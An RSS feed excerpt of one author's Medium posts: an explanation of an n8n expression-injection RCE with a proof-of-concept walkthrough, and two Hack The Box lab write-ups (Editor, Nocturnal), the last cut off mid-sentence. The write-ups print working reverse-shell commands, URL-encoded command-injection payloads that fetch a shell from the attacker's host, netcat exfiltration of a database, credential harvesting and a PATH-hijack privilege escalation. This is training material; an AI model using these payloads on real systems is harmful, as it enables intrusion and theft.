            <pubDate>Tue, 06 Jan 2026 18:27:53 GMT</pubDate>
            <atom:updated>2026-01-06T18:28:44.119Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LTH9sS40cNBjLMVqGS9Bug.png" /></figure><h3>Introduction</h3><p><strong>n8n</strong> is an open-source workflow automation platform designed to visually connect applications and services for task automation.</p><p>Users build workflows composed of <strong>nodes</strong>, where each node represents an action such as:</p><ul><li>Making an API request</li><li>Processing data</li><li>Sending emails or Slack messages</li></ul><p>n8n is frequently used to automate repetitive operational tasks and to integrate <strong>security tools, internal services, and SaaS platforms</strong>.</p><p>Below is a simple example workflow that schedules an HTTP GET request to the <strong>NVD CVE API</strong>, formats the output using JavaScript, and then sends the report via <strong>email</strong> and <strong>Slack</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*rDZ_Qk1_CYs5YzvrwPbTFQ.png" /><figcaption>HTTP GET request to the <strong>NVD CVE API</strong></figcaption></figure><h3>Common n8n Deployment Models</h3><p>n8n is typically deployed in one of the following configurations:</p><ul><li><strong>Self-hosted instances</strong><br>Deployed on‑premises or in private cloud environments for full control and data sovereignty.</li><li><strong>Cloud-hosted (n8n.cloud)</strong><br>Managed service offering with shared infrastructure.</li><li><strong>Internal automation platforms</strong><br>Used inside corporate networks to automate business processes between internal and external systems.</li></ul><h3>Affected Versions</h3><p>⚠️ <strong>Versions </strong><strong>0.211.0 through </strong><strong>1.120.3 are vulnerable</strong> to a <strong>critical Remote Code Execution (RCE)</strong> flaw in the workflow expression evaluation system.</p><p>If exploited, this vulnerability allows an <strong>authenticated attacker</strong> to execute <strong>system‑level commands</strong>, potentially leading to:</p><ul><li>Full server compromise</li><li>Data exfiltration</li><li>Workflow manipulation</li><li>Service disruption</li></ul><h3>Fixed Versions</h3><p>This issue has been patched in the following releases:</p><ul><li>1.120.4</li><li>1.121.1</li><li>1.122.0</li></ul><p>➡️ <strong>Immediate upgrade is strongly recommended.</strong></p><h3>What Is n8n?</h3><p>n8n lets users build automated workflows using a visual interface.</p><p>Internally:</p><ul><li>It runs on <strong>Node.js</strong></li><li>Uses <strong>JavaScript</strong> to process data</li><li>Executes workflows step by step using a workflow engine</li></ul><p>Key features include:</p><ul><li><strong>Expressions</strong> written inside {{ }} for dynamic values</li><li><strong>Code nodes</strong> that allow JavaScript or Python execution</li><li><strong>Hundreds of built‑in integrations</strong></li></ul><h3>What Is the Vulnerability?</h3><p>The vulnerability lies in how n8n evaluates expressions written inside {{ }}.</p><h3>The Core Problem</h3><ul><li>Anything inside {{ }} is treated as <strong>JavaScript</strong></li><li>This JavaScript is <strong>not properly sandboxed</strong></li><li>As a result, attackers can execute <strong>arbitrary JavaScript code</strong></li></ul><h3>Why Is This Dangerous?</h3><p>An attacker with <strong>any valid login</strong> can:</p><ul><li>Execute arbitrary JavaScript on the server</li><li>Access Node.js internals</li><li>Potentially run operating‑system commands</li></ul><p>⚠️ The code runs with the <strong>same privileges as the n8n process itself</strong>.</p><h3>Why Authentication Doesn’t Help Much</h3><ul><li>No admin privileges are required</li><li>Any authenticated user can exploit it</li><li>Authentication alone does <strong>not</strong> prevent abuse</li></ul><h3>Proof‑of‑Concept Payload</h3><p>Below is a working exploit payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2o-TxyNcWLSY_HtG6Mr2Nw.png" /><figcaption>JS Payload</figcaption></figure><p>This expression tells n8n:</p><blockquote><em>“Run this JavaScript code immediately and return the output.”</em></blockquote><h3>Breaking Down the Exploit</h3><p><strong>Why Is There a Function Inside?</strong></p><pre>(function(){ ... })()</pre><ul><li>Creates an <strong>anonymous function</strong></li><li>Executes it immediately</li><li>Allows multiple steps to run cleanly inside one expression</li></ul><p>Think of it as:</p><blockquote><em>“Do everything silently, then give me the result.”</em></blockquote><h3>Step‑by‑Step Exploit Chain</h3><h4>1️⃣ this</h4><ul><li>Points to the <strong>global Node.js context</strong></li><li>First escape from the sandbox</li></ul><h4>2️⃣ this.process</h4><ul><li>Accesses the Node.js process object</li><li>Reveals system‑level runtime information</li></ul><h4>3️⃣ process.mainModule</h4><ul><li>References the main application module</li><li>Enables loading internal Node.js modules</li></ul><h4>4️⃣ require(&#39;child_process&#39;)</h4><ul><li>Loads a dangerous Node.js module</li><li>Enables command execution</li></ul><h4>5️⃣ execSync(&#39;id&#39;)</h4><ul><li>Executes the id command on the server</li><li>Proves <strong>remote command execution</strong></li></ul><h4>6️⃣ .toString()</h4><ul><li>Converts command output into readable text</li><li>Sends it back to the attacker</li></ul><h3>Why This Is a Serious Issue</h3><p>Expressions are meant for <strong>simple calculations only</strong>.</p><p>They should <strong>never</strong> be able to:</p><ul><li>Access Node.js internals</li><li>Load system modules</li><li>Execute OS‑level commands</li></ul><p>Yet this vulnerability allows <strong>all of the above</strong>.</p><h3>Vulnerability Explained in One Sentence</h3><blockquote><em>The attacker starts in a small “safe” expression, breaks out into Node.js internals, loads system command tools, and executes commands on the server.</em></blockquote><h3>Exploitation Walkthrough (Browser‑Based)</h3><p>We will use the <strong>browser‑friendly exploit</strong> published by <em>wioui</em>:</p><p>👉 <a href="https://github.com/wioui/n8n-CVE-2025-68613-exploit">https://github.com/wioui/n8n-CVE-2025-68613-exploit</a></p><h3>Step 1: Create a New Workflow</h3><p>After logging in, click <strong>Start from scratch</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8QEPna4gJW0lmOkBm-9I1g.png" /><figcaption>n8n Login Page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nKixmyKDdxeFljpJBBj7cQ.png" /><figcaption>Click on Start from Scratch</figcaption></figure><h3>Step 2: Add Manual Trigger</h3><p>Click <strong>Add first step</strong>, then select <strong>Manual Trigger</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ZTu3A-67_dj8glen0lN4w.png" /><figcaption>Click on Add First Step</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pXkFj1nQBubybt71UwMESQ.png" /><figcaption>Add Manual Trigger</figcaption></figure><h3>Step 3: Add “Edit Fields (Set)” Node</h3><p>Attach an <strong>Edit Fields (Set)</strong> node to the Manual Trigger.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f2cNIWrTVlXHHgTNKe4y7w.png" /><figcaption>Click on Edit Fields (Set)</figcaption></figure><h3>Step 4: Inject the Payload</h3><ol><li>Click <strong>Add Field</strong></li><li>Name it result or exploit</li><li>Paste the exploit payload into the value field</li><li>Click <strong>Execute step</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xafPARUfnJHShYUC4gKEpg.png" /><figcaption>Past the Payload and Run it</figcaption></figure><p>The output confirms <strong>command execution</strong>.</p><h3>Command Flexibility</h3><p>We can replace id with <strong>any system command</strong>, depending on OS and permissions:</p><h3>Final Thoughts</h3><p>This vulnerability demonstrates how <strong>expression evaluation</strong> — if not strictly sandboxed — can lead to <strong>full system compromise</strong>.</p><h3>Key Takeaways</h3><ul><li>Never trust expression evaluation without strict isolation</li><li>Authenticated users are still attackers</li><li>Workflow automation platforms are <strong>high‑value targets</strong></li><li><strong>Patch immediately and audit all workflows</strong> for malicious expressions.</li><li><em>Stay safe, and automate responsibly.</em> 🔐</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df1fbde512bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack the Box: Editor]]></title>
            <link>https://medium.com/@asadullah547335/hack-the-box-editor-652060622eaa?source=rss-9fc531dc7491------2</link>
            <guid isPermaLink="false">https://medium.com/p/652060622eaa</guid>
            <dc:creator><![CDATA[Mr. Spider]]></dc:creator>
            <pubDate>Wed, 03 Sep 2025 16:58:49 GMT</pubDate>
            <atom:updated>2025-09-03T16:58:49.931Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>OS: Linux</strong></p><p><strong>Category: Easy</strong></p><p><strong>Platform: Hack The Box</strong></p><blockquote><strong>Step 1. Scan with Nmap</strong></blockquote><p>The <strong>target host </strong>is running <strong>Linux</strong>.</p><ul><li><strong>Port 22/tcp</strong>: Open — running SSH (OpenSSH).</li><li><strong>Port 80/tcp</strong>: Open — running Nginx 1.18.0, resolving to editor.htb.</li><li><strong>Port 8080/tcp</strong>: Open — running Jetty 10.0.20, hosting XWiki.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*pdi0khDpVartILvyc1soQA.png" /></figure><blockquote><strong>Step 2: Checking Port 80 in Browser</strong></blockquote><ul><li>The page hosts a <strong>static website</strong> with downloadable code editor links.</li><li>No additional useful or interesting functionality was identified.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*75a_7LHsYUQJaqzNiyCZRA.png" /></figure><blockquote><strong>Step 3: Checking Port 8080 in Browser</strong></blockquote><ul><li>The service presents an <strong>XWiki login page</strong>.</li><li>The version is displayed as <strong>XWiki Debian 15.10.8</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*YnRNllQNBP-8KI70MF369Q.png" /></figure><blockquote><strong>Step 4: Checking for Default Credentials</strong></blockquote><ul><li>Internet research shows that the default XWiki credentials are <strong>username: Admin</strong> and <strong>password: admin</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/346/1*TqO-prHbysk_o9fC89c0QA.png" /></figure><blockquote><strong>Step 5: Scanning the XWiki Website with Nikto</strong></blockquote><ul><li>The website was scanned using Nikto with the command:</li></ul><p><strong>nikto -h http://10.10.11.80:8080</strong></p><ul><li>The scan identified a <strong>robots.txt</strong> file.</li><li>Several <strong>PDF files</strong> were discovered.</li><li>Some <strong>interesting endpoints</strong> were found.</li><li>The scan also revealed that the following HTTP methods are enabled:</li><li><strong>OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK</strong></li><li>WebDAV functionality appears to be enabled (due to <strong>PROPFIND, LOCK, UNLOCK</strong> methods).</li><li>A manual review of these findings did not reveal any further exploitable issues.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*k6FXC--1D80-sJgldn1lEA.png" /></figure><blockquote><strong>Step 6: Searching for XWiki Version Exploits</strong></blockquote><ul><li>Identified <strong>CVE-2025–24893</strong>, a Remote Code Execution (RCE) vulnerability affecting XWiki versions prior to <strong>15.10.11, 16.4.1, and 16.5.0RC1</strong>.</li><li>The target is running <strong>XWiki Debian 15.10.8</strong>, which falls within the vulnerable versions.</li><li>Therefore, the target is <strong>potentially exploitable using this vulnerability</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*97th3eBMyuMhENfscVXiLQ.png" /></figure><blockquote><strong>Step 7: Running the Listener</strong></blockquote><ul><li>Started a Netcat listener on the attacker’s machine to catch the reverse shell:</li></ul><p><strong>nc -nvlp 9001</strong></p><p><strong>-n</strong> → Don’t resolve hostnames or DNS, just use raw IP addresses (faster, avoids delays).</p><p><strong>-v</strong> → Verbose mode, shows more details about the connection.</p><p><strong>-l</strong> → Listen mode, tells Netcat to wait for incoming connections.</p><p><strong>-p 9001</strong> → Specifies the port number (here, <strong>9001</strong>) to listen on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*x7NzvZpj5uMbWQmwEBCaew.png" /></figure><blockquote><strong>Step 8: Downloading and Setting Up the Exploit</strong></blockquote><ul><li>The exploit was downloaded using:</li></ul><p><strong>git clone </strong><a href="https://github.com/gunzf0x/CVE-2025-24893.git"><strong>https://github.com/gunzf0x/CVE-2025-24893.git</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/1*vS6gGzzyRrrBB9yo0R6M5Q.png" /></figure><ul><li>Changed into the exploit directory: <strong>cd CVE-2025–24893</strong></li><li>Executed the exploit with the following command:</li></ul><p><strong>python3 CVE-2025–24893.py -t ‘http://10.10.11.80:8080&#39; -c ‘busybox nc 10.10.14.125 9001 -e /bin/bash’</strong></p><ul><li>This command attempts to exploit the vulnerability and establish a <strong>reverse shell</strong> connection back to the attacker’s machine (10.10.14.125) on port 9001.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*JLwc35NyCKszeLtZhKiq4g.png" /></figure><ul><li>When the exploit is executed successfully, a <strong>reverse shell</strong> is established, and the connection is received on the Netcat listener.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*370RgDpjbqLhqidCCRzMQQ.png" /></figure><blockquote><strong>Step 9: Stabilizing the Shell</strong></blockquote><ul><li>The initial reverse shell was unstable.</li><li>To stabilize it, the following command was used:</li></ul><p><strong>python3 -c ‘import pty; pty.spawn(“/bin/bash”)’</strong></p><ul><li>This spawns a proper interactive Bash shell, allowing the use of commands like hostname and whoami as in a normal shell.</li><li><strong>Explanation:</strong></li></ul><p><strong>python3 </strong>→ Runs the Python 3 interpreter.<br><strong>c </strong>→ Tells Python to execute the code provided as a string, instead of running a file.</p><p><strong>‘import pty; pty.spawn(“/bin/bash”)’</strong></p><ul><li><strong>import pty</strong> → Imports the <strong>pty</strong> module, which handles pseudo-terminal operations.</li><li><strong>pty.spawn(“/bin/bash”)</strong> → Spawns a new <strong>interactive Bash shell</strong> inside a pseudo-terminal.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/304/1*SqEs1rnGjoiwuK7DZOk8hg.png" /></figure><blockquote><strong>Step 10: Enumerating the Account</strong></blockquote><ul><li>The first step is to check the <strong>/etc/passwd</strong> file to identify user accounts on the system.</li><li>Since the exploit targets a service, the shell initially runs as a <strong>service user</strong> (xwiki with UID 997), not a standard user.</li><li>Examination of <strong>/etc/passwd </strong>reveals a <strong>standard user account</strong> named <strong>oliver</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/359/1*VdDVc7hqNBQya9sBH5QEAg.png" /></figure><ul><li>Next, we examine the <strong>home directory of the </strong><strong>oliver user</strong> to look for potentially interesting files or data.</li><li>Attempting to access the <strong>oliver user’s home directory</strong> resulted in <strong>permission denied</strong>, so we were unable to view its contents.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*ucN3K4Xm9vN-ChDER7XeRA.png" /></figure><ul><li>Since we are operating as the <strong>service user (</strong><strong>xwiki)</strong>, we researched <strong>important XWiki files</strong> online to identify files that may contain sensitive information or credentials.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*_HFzFt7-SlbL6tNBYNaLBw.png" /></figure><ul><li>Let’s look for<strong> hibernate.cfg.xml </strong>file with<strong> find / -type f -name “*.cfg.xml” 2&gt;/dev/null</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*a9eB6sya5kVt7q-PuRNYLg.png" /></figure><ul><li>We find 3 matching files.</li><li>Let’s open the first one with<strong> cat /etc/xwiki/hibernate.cfg.xml</strong></li><li>The file contained the <strong>credentials</strong> for XWiki:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/349/1*h3XfLHJIkB-oUbPH4wE2sA.png" /></figure><p><strong>Username:</strong> <strong>xwiki<br>Password:</strong> <strong>theEd1t0rTeam99</strong></p><ul><li>Using the discovered credentials, we attempted to <strong>log in to the XWiki website</strong>.</li><li><strong>But it not works</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/347/1*Tl-KUtmbOJuFYKnMu-p_nQ.png" /></figure><blockquote><strong>Step 11: Logging into SSH</strong></blockquote><ul><li>We identified a standard user named <strong>oliver</strong> and obtained the password <strong>theEd1t0rTeam99</strong>.</li><li>Attempted to log in to the oliver account via SSH:</li></ul><p><strong>ssh </strong><a href="/service/mailto:oliver@10.10.11.80"><strong>oliver@10.10.11.80</strong></a></p><ul><li>And we successfully logins into the oliver account.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*cAPtyqjRkJ5R8haId4Bttg.png" /></figure><ul><li>This allows access to the system as a standard user with more privileges than the service user.</li><li>And also we get the <strong>user flag</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/327/1*bGuOg6UF1L_XCJIA1s_kYg.png" /></figure><blockquote><strong>Step 12: Enumerating the Account</strong></blockquote><ul><li>The oliver account already contains the <strong>LinEnum.sh</strong> script, which is used for <strong>Linux system enumeration</strong>.</li><li>The script was executed using:</li></ul><p><strong>./LinEnum.sh</strong></p><ul><li>This helps identify potential <strong>privilege escalation vectors</strong>, system configuration, and sensitive information.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/341/1*IPW0DB8EOcodZ55SZS9N7g.png" /></figure><ul><li>It shows us that<strong> </strong>our user <strong>oliver</strong> has UID 1000 and is in <strong>group 999 (netdata)</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*NbhNOzLHuXxL5J0NuLq95g.png" /></figure><ul><li>We have some interesting Netdata Plugins</li><li>The Netdata SUID binaries (like ndsudo) are <strong>owned by root</strong> but <strong>group netdata</strong>.</li><li>The permissions are <strong>-rwsr-x — -,</strong> meaning:</li></ul><p>Owner (root) can read/write/execute<br>Group (netdata) can read/execute<br>Others <strong>cannot touch it</strong></p><ul><li>If our user (oliver) is in the <strong>netdata group</strong>, we can <strong>execute these binaries</strong>, but we <strong>cannot run root-owned ones outside our group</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*4VPmb6nJSHbiW9Se7OBOvA.png" /></figure><blockquote><strong>Step 13: Privilege Escalation</strong></blockquote><ul><li>During enumeration, we identified the <strong>ndsudo plugin</strong>, which can be exploited for <strong>privilege escalation</strong>.</li><li>The relevant vulnerability is <strong>CVE-2024–32019</strong>, allowing a local user to gain <strong>root privileges</strong> on the system.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/1*8UBl7DRtgeD3lVQqemP4uw.png" /></figure><p><strong>a)</strong> <strong>Download/copy the code and make the poc.c file in kali linux and save code there</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*C42OwA9luoSk9WCXrb5x2A.png" /></figure><p><strong>b)</strong> <strong>Compile the Malicious Payload</strong></p><ul><li><strong>Run this command: gcc poc.c –o nvma</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*NnJpFJ8kL1hfEbZtHCXZ2w.png" /></figure><p><strong>c)</strong> <strong>Transfer the Payload to the Target System</strong></p><ul><li>Move or upload the compiled nvme binary to a directory writable by our user, such as /tmp:</li></ul><p><strong>scp nvme user@target:/tmp/</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*zvBO66W451POIFw_Eghyyw.png" /></figure><p><strong>d)</strong> <strong>Prepare the Payload for Execution</strong></p><ul><li>On the target system, make sure the binary is executable and prepend its directory to your PATH:</li></ul><p><strong>chmod +x /tmp/nvme</strong></p><p><strong>export PATH=/tmp:$PATH</strong></p><ul><li>This ensures ndsudo will resolve and execute our malicious nvme instead of the legitimate one.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*yAHNOOdYlnebcsKpMEy5Kg.png" /></figure><p><strong>e)</strong> <strong>Trigger ndsudo to Execute Your Payload</strong></p><p><strong>/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*t4R1qrCWUcrDS6W--8nkaQ.png" /></figure><p>· And we get <strong>root flag</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/326/1*uklkjI1NZDKJ9UpMTquQ3w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=652060622eaa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nocturnal Walkthrough: HacktheBox]]></title>
            <link>https://medium.com/@asadullah547335/nocturnal-walkthrough-hackthebox-5b47435b3c39?source=rss-9fc531dc7491------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b47435b3c39</guid>
            <dc:creator><![CDATA[Mr. Spider]]></dc:creator>
            <pubDate>Fri, 02 May 2025 19:20:04 GMT</pubDate>
            <atom:updated>2025-05-02T20:00:00.960Z</atom:updated>
            <content:encoded><![CDATA[<p>Machine: Nocturnal<br>Operating System: Linux<br>Level: Easy</p><p>Start we nmap scan</p><pre>nmap -sV -O -A -T4 10.10.11.64</pre><p><strong>Flags explained:</strong></p><ul><li>-sV: Detect service versions.</li><li>-O: OS detection.</li><li>-A: Aggressive scan — enables OS detection, version detection, script scanning, and traceroute.</li><li>-T4: Speeds up the scan (useful for faster network environments).</li><li>10.10.11.64: Target IP address.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ep7DYAxi9S_irFa8ukVag.png" /></figure><h3>Key Scan Results:</h3><h3>Open Ports:</h3><p>_______________</p><p><strong>1. Port 22 (SSH)</strong></p><ul><li><strong>Service</strong>: OpenSSH 8.2p1</li><li><strong>Host OS</strong>: Ubuntu Linux</li><li><strong>Additional Info</strong>: Protocol 2.0</li></ul><p><strong>2. Port 80 (HTTP)</strong></p><ul><li><strong>Service</strong>: nginx 1.18.0</li><li><strong>OS</strong>: Ubuntu</li><li><strong>Web Title</strong>: “Welcome to Nocturnal”</li><li><strong>HTTP Headers</strong>: Includes PHPSessionID, Nginx version in the Server header.</li></ul><h3>OS Detection:</h3><p>_________________</p><ul><li><strong>Running OS</strong>: Linux 4.x | 5.x (based on kernel version)</li><li><strong>CPE</strong>: cpe:/o:linux:linux_kernel</li><li><strong>Details</strong>: Linux kernel 4.15–5.19</li></ul><p>Having learned that port 80(http) is open, we open it in our browser and find an <strong>index.php</strong> page that has login and registration options.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lTv9SWndg8NvS7KxMcPaWg.png" /></figure><p>Let’s explore the website by creating an account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*7-_EelWZwS3wmQ1_RiUWdg.png" /></figure><p>Then log into the account you created</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*9VMstETz6v-bjC3yAtP5Ng.png" /></figure><p>After Login, we saw a dashboard where user can upload a file. So lets try to upload a simple .docx file.</p><p>Only PDF, doc, docx, xls, xlsx, odt files were allowed to be uploaded to this page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QOvM9XJe5ExtVq_K-veQgw.png" /></figure><p>So when we click on the uploaded file, we can also download that file, but the download link</p><pre>http://nocturnal.htb/view.php?username=abc&amp;file=Hello+Friends.docx</pre><p>reveals a <strong>username parameter</strong>, which we can <strong>enumerate by modifying the </strong><strong>username value in the URL</strong> to discover valid users on the system, potentially leading to unauthorized file access or user enumeration vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iuoCshy-uJNSXkEfDuyRog.png" /></figure><p>We need the cookie because the target website (nocturnal.htb) likely uses <strong>session-based authentication</strong>, and if we want to enumerate users, we must first obtain a valid authenticated session</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EHS9D0th-ZVH_xzQCZ2anw.png" /></figure><p>Now that we have the cookie, we can use the ffuf tool to enumerate different users.</p><pre>ffuf -u &#39;http://nocturnal.htb/view.php?username=FUZZ&amp;file=Hello+Friends.docx&#39; \<br>     -w /usr/share/seclists/Usernames/Names/names.txt \<br>     -H &#39;Cookie: PHPSESSID=lftah3nnk9ioh9tqfq1860amim&#39; \<br>     -fs 2985</pre><h4>Breakdown:</h4><ul><li>-u: Target URL with the FUZZ keyword where ffuf will inject each word from the wordlist.</li><li>-w: Wordlist of potential usernames to try (names.txt from SecLists).</li><li>-H: Sets the PHP session cookie to stay authenticated during the fuzzing.</li><li>-fs 2985: Filters out responses with a <strong>fixed size</strong> (2985 bytes), assuming those are errors or “user not found” responses.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PXWQxmQy_mJiKC28arg0LQ.png" /></figure><p>Successfully enumerated three usernames (admin, amanda, and tobias)</p><p>Now when we change the username values in the URL’s like below</p><pre>http://nocturnal.htb/view.php?username=admin&amp;file=Hello+Friends.docx<br>http://nocturnal.htb/view.php?username=amanda&amp;file=Hello+Friends.docx<br>http://nocturnal.htb/view.php?username=tobias&amp;file=Hello+Friends.docx</pre><p>only the user amanda displays an available file (privacy.odt), while others show “File does not exist.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XLxJV_kZNkCc9hayMiVY7w.png" /></figure><p>We downloaded the privacy.odt file, and it contains credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*HXhzdHxCDkR4d2dpBt7B6w.png" /></figure><p>Now we have <strong>username=</strong> amanda and <strong>password=</strong> arHkG7HAI68X8s1J<br>After logging in with the Amanda account, we discovered that it has the option to access the Admin Panel.</p><pre>http://nocturnal.htb/admin.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*yKesfW_Ty6dLvQVVtpuQzg.png" /></figure><p>When we access the Admin Panel we saw File Structure and Create Backup Options lets first explore what Backup we can create.</p><p>We used the same password that we used to log in as Amanda to create a backup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ero7y6iejCg8zcQrb4Qftw.png" /></figure><p>The backup includes all File Structure and we also have the option to download that complete backup. Let’s download it and see what’s inside these files.</p><p>When we examined the backup files, we found an interesting file named admin.php.</p><p>When we looked into that file we found a <strong>Command Injection Vulnerability</strong> in the Backup Feature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aMVI8AGcUXgwYU0CaH0EkQ.png" /></figure><h4>Why it’s vulnerable:</h4><ul><li>Even though the password is passed through cleanEntry(), this function is <strong>not fully safe</strong>.</li><li>It only checks for certain blacklisted characters, but we <strong>can still inject special characters</strong> using creative encoding or bypass techniques.</li></ul><p>Lets use <strong>BurpSuite</strong> to exploit this Vulnerability</p><p>Capture the backup creation request and send it to <strong>Repeater</strong> in BurpSuite.<br>Now place a simple encoded payload to verify the vulnerability.</p><pre>%0Abash%09-c%09&quot;id&quot;%0A</pre><p>is a <strong>URL-encoded shell injection payload</strong>, which:</p><ul><li>%0A is a newline (\n)</li><li>%09 is a tab (\t)</li><li>&quot;id&quot; runs the Linux id command (shows the current user)</li></ul><p>This payload tricks the system into executing shell commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gamTOd8uwvV6ewaUO4PSKQ.png" /></figure><p>Now we verify the vulnerability so we need to exploit this vulnerability to get the reverse shell. so make a small script file that contains thepayload</p><pre>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/10.10.14.90/3333 0&gt;&amp;1</pre><p>This script creates a reverse shell, making the target machine connect back to the attacker’s IP (10.10.14.90) on port 3333, giving the attacker remote control over the system through a Bash shell.</p><p>save the code in a file and name it and give executable permission.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*y6U5l09fRZNpN8DLHWEaQQ.png" /></figure><p>To host the shell file and make it downloadable over the network we <strong>Start an HTTP server</strong> in the directory where shell.sh is located:</p><pre>python3 -m http.server 8000</pre><p>Now we create an encoded payload so that we can upload the shell file into the Amanda file structure by exploiting the command injection vulnerability</p><pre>%0Abash%09-c%09&quot;wget%0910.10.14.90:8000/shell&quot;%0A</pre><p>Decode Version of above payload is <strong>bash -c “wget 10.10.14.90:8000/shell”</strong></p><h3>Explanation:</h3><ul><li>%0A → newline (\n)</li><li>%09 → tab (\t)</li><li>So the full decoded version adds some newlines and tabs, which may or may not be necessary depending on the injection context.</li></ul><h3>What It Does:</h3><p>This payload tells the server to:</p><ol><li>Use bash -c to execute a command.</li><li>Run wget to download a file named shell from your machine at 10.10.14.90 on port 8000.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gawnjZa3KISMqtml6Gt1bg.png" /></figure><p>After uploading the shell file to the Amanda file structure, we started a listener to catch the incoming connection</p><pre>nc -lvp 3333 </pre><p>Next, we craft another payload to execute the uploaded file and establish a reverse shell connection</p><pre>%0Abash%09-c%09&quot;bash%09shell&quot;%0A</pre><p>Decode Version of above payload is <strong>bash -c “bash shell”</strong>.</p><p>So this payload <strong>runs the </strong><strong>shell file</strong> on the target machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gDgBVQLVa04-JDggJ1KXQQ.png" /></figure><p>and we get the shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*cRi9kW8MDNo7qceCJXGCUw.png" /></figure><p>When we explore this machine, we find the nocturnal_database.db file at /var/www/nocturnal_database/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*92AbEISg4fFjSO_7L6CgTQ.png" /></figure><p>Now we set up a netcat listener on port 9999</p><pre>nc -lvnp 9999 &gt; nocturnal_database.db</pre><p>This will listen on port 9999 and save the incoming data to nocturnal_database.db</p><p>On the target system (via reverse shell), we send the file using netcat</p><pre>nc 10.10.14.90 9999 &lt; /var/www/nocturnal_database/nocturnal_database.db</pre><p>Once the transfer is complete, we have the nocturnal_database.db file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NAhK4Jqu3xJQD0wMdYUdQA.png" /></figure><p>Let’s try to Decrypts these hashes and find the plain text passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*Fsd5FgChqF9usGXW6GMovw.png" /></figure><p>we found plaintext passwords of most hashes</p><pre>tobias=  